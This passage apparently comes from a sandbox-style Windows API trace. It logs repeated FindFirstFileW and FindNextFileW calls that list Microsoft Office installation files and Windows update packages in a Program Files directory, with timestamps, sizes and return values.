ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17194, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Outlook.Outlook.x-none.msi.16.x-none.xml", cAlternateFileName="C29151~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3783951, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x17984, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.outlookmui.msi.16.en-us.xml", cAlternateFileName="C2C4E2~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd257bc65, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd257bc65, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd27de170, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xafddc, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPivot.PowerPivot.x-none.msi.16.x-none.xml", cAlternateFileName="C280EB~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd26acf16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd26acf16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd290f4ec, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x195a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.PowerPoint.PowerPoint.x-none.msi.16.x-none.xml", cAlternateFileName="C222CA~1.XML")) returned 1 [0159.464] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd33f011b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd33f011b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd35dffce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x689e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.powerpointmui.msi.16.en-us.xml", cAlternateFileName="C27FF4~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b17ac3e, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b17ac3e, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b1a0d3d, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7446, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Project.Project.x-none.msi.16.x-none.xml", cAlternateFileName="C2E87B~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b2abe77, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2d20ad, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x809e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.projectmui.msi.16.en-us.xml", cAlternateFileName="C26005~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd375d6d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd375d6d3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd397382c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x63ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.en-us.xml", cAlternateFileName="C2B3EB~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36eafd9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36eafd9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37a9bb2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.es-es.xml", cAlternateFileName="C23127~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd38424c0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd38424c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3999a72, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5fee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Proof.Culture.msi.16.fr-fr.xml", cAlternateFileName="C2BAB3~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd36c4db5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd36c4db5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37f6035, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.proofing.msi.16.en-us.xml", cAlternateFileName="C24618~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd295b9b9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd295b9b9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2b97d2d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Publisher.Publisher.x-none.msi.16.x-none.xml", cAlternateFileName="C2C6D1~1.XML")) returned 1 [0159.465] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd362c40f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd362c40f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd37374c5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.publishermui.msi.16.en-us.xml", cAlternateFileName="C26B0A~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd28c2fa3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd28c2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd29ce0e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb27ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.shared.Office.x-none.msi.16.x-none.xml", cAlternateFileName="C2A7B5~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x11cbd0e, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x2aafe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Visio.Visio.x-none.msi.16.x-none.xml", cAlternateFileName="C2668D~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1159842, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1159842, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1218203, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xf0cb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.visiomui.msi.16.en-us.xml", cAlternateFileName="C2A712~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dd401b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1536e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Word.Word.x-none.msi.16.x-none.xml", cAlternateFileName="C29B2F~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd39e5e8b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd39e5e8b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3a7e818, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x130fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.wordmui.msi.16.en-us.xml", cAlternateFileName="C2EB7A~1.XML")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2c30669, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2c30669, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2dfa2a2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12c470, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integrator.exe", cAlternateFileName="INTEGR~1.EXE")) returned 1 [0159.466] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf073ddf4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1158e0a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x128ed2a1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6e22a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OneDriveSetup.exe", cAlternateFileName="ONEDRI~1.EXE")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xef3b8917, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xef3b8917, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef4774a9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800, dwReserved0=0x0, dwReserved1=0x0, cFileName="QFE31927.msp", cAlternateFileName="")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee75a612, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee75a612, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xef109ec5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x18ad800, dwReserved0=0x0, dwReserved1=0x0, cFileName="QFE31928.msp", cAlternateFileName="")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd44a0845, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd44a0845, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd455f44d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc0e000, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPPRedist.msi", cAlternateFileName="SPPRED~1.MSI")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x51c07e2, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51c07e2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51c07e2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xfa976, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c46ba0, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c46ba0, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c46ba0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x97da2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x86.msu", cAlternateFileName="WI4D05~1.MSU")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x59b433, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x59b433, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14902e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8-RT-KB2999226-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d50bdc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d50bdc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6d50bdc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x96388, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8-RT-KB2999226-x86.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0159.467] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5f9c329, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5f9c329, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5fc257f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf2d1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8.1-KB2999226-x64.msu", cAlternateFileName="WI2C39~1.MSU")) returned 1 [0159.468] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7c37773, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7c37773, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7c37773, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91809, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows8.1-KB2999226-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0159.468] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0159.468] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0159.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee520) returned 1 [0159.468] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee4e0) returned 1 [0159.468] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee5e0) returned 1 [0159.468] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration", nBufferLength=0x105, lpBuffer=0x1fbee080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration", lpFilePart=0x0) returned 0x32 [0159.468] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\*", lpFindFileData=0x1fbee300 | out: lpFindFileData=0x1fbee300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0159.468] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe33a4c67, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe33a4c67, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3607185, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc61000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RInt.16.msi", cAlternateFileName="C2RINT~1.MSI")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xe384358e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xe384358e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe3acbcd3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RIntLoc.en-us.16.msi", cAlternateFileName="C2RINT~2.MSI")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2686ce0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x91f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Access.Access.x-none.msi.16.x-none.xml", cAlternateFileName="C25A45~1.XML")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd32bedda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd32bedda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd356d87a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xe71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmui.msi.16.en-us.xml", cAlternateFileName="C222C2~1.XML")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2daddbf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2daddbf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31d9ff6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x7fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.accessmuiset.msi.16.en-us.xml", cAlternateFileName="C2FB2E~1.XML")) returned 1 [0159.469] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd23fe538, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd23fe538, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd26f9444, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3f14, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.DCF.DCF.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~4.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd2dfa2a2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2dfa2a2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd31415cd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x265a, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.dcfmui.msi.16.en-us.xml", cAlternateFileName="C206B0~1.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd252f7b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x39d9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Excel.Excel.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~3.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd3200239, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd3200239, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd330b2e9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f70, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.excelmui.msi.16.en-us.xml", cAlternateFileName="C2D2CD~1.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd23fe538, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x8f8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", cAlternateFileName="C2RMAN~1.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: lpFindFileData=0x1fbee2c0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C2RManifest.groovemui.msi.16.en-us.xml", cAlternateFileName="C26024~1.XML")) returned 1 [0159.470] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x1fbee2c0 | out: 